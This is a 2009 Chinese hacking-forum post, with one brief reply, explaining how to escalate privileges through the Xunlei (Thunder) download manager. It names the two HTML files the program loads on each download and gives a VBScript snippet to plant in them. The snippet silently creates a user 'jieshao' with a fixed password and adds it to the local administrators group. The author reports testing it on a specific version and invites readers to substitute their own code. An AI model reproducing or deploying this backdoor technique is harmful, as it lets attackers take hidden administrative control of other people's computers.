WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 1785查看
  • 1回复

[经验分享] 利用迅雷提权

主题

好友

-50

积分

禁止访问

发表于 2009-12-21 16:48:56 |显示全部楼层
当我们使用迅雷下载东西的时候,会调用我们安装迅雷后一个htm文件,去激活htm文件里的一些代码,

把我们所下载东西添加到列表当中。
  
  所对应的htm文件有2处一处是C:\Program Files\Thunder Network\Thunder\Program\geturl.htm
  
  一处是C:\Program Files\Thunder Network\Thunder\Program\getAllurl.htm
  
  如果我们想把我们想要的代码添加进去执行了?
  
  我们简单写个代码试试,代码如下:
  

复制内容到剪贴板 程序代码
  <script language="VBScript">
  Set vbs=CreateObject("Wscript.Shell")
  vbs.run "cmd /c net user jieshao 123456 /add",0
  vbs.run "cmd /c net localgroup administrators jieshao /add",0
  </script>
  
  应该大家都可以看的出,如果我们把这段代码添加到那2个htm文件里,当迅雷下载东西的时候,一样
  
  会去执行我们的代码。添加一个administrators组的一个用户jieshao
  
  当然,代码大家可以自定义哈。不要被我所禁锢住啦
  
  
  测试通过,迅雷版本为5.9.2.927

主题

好友

674

积分

高级会员

发表于 2009-12-30 17:11:32 |显示全部楼层
呵呵     你发的好多都是转别人的
回复

使用道具 举报

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-21 11:20 , Processed in 0.058450 second(s), 16 queries .

返回顶部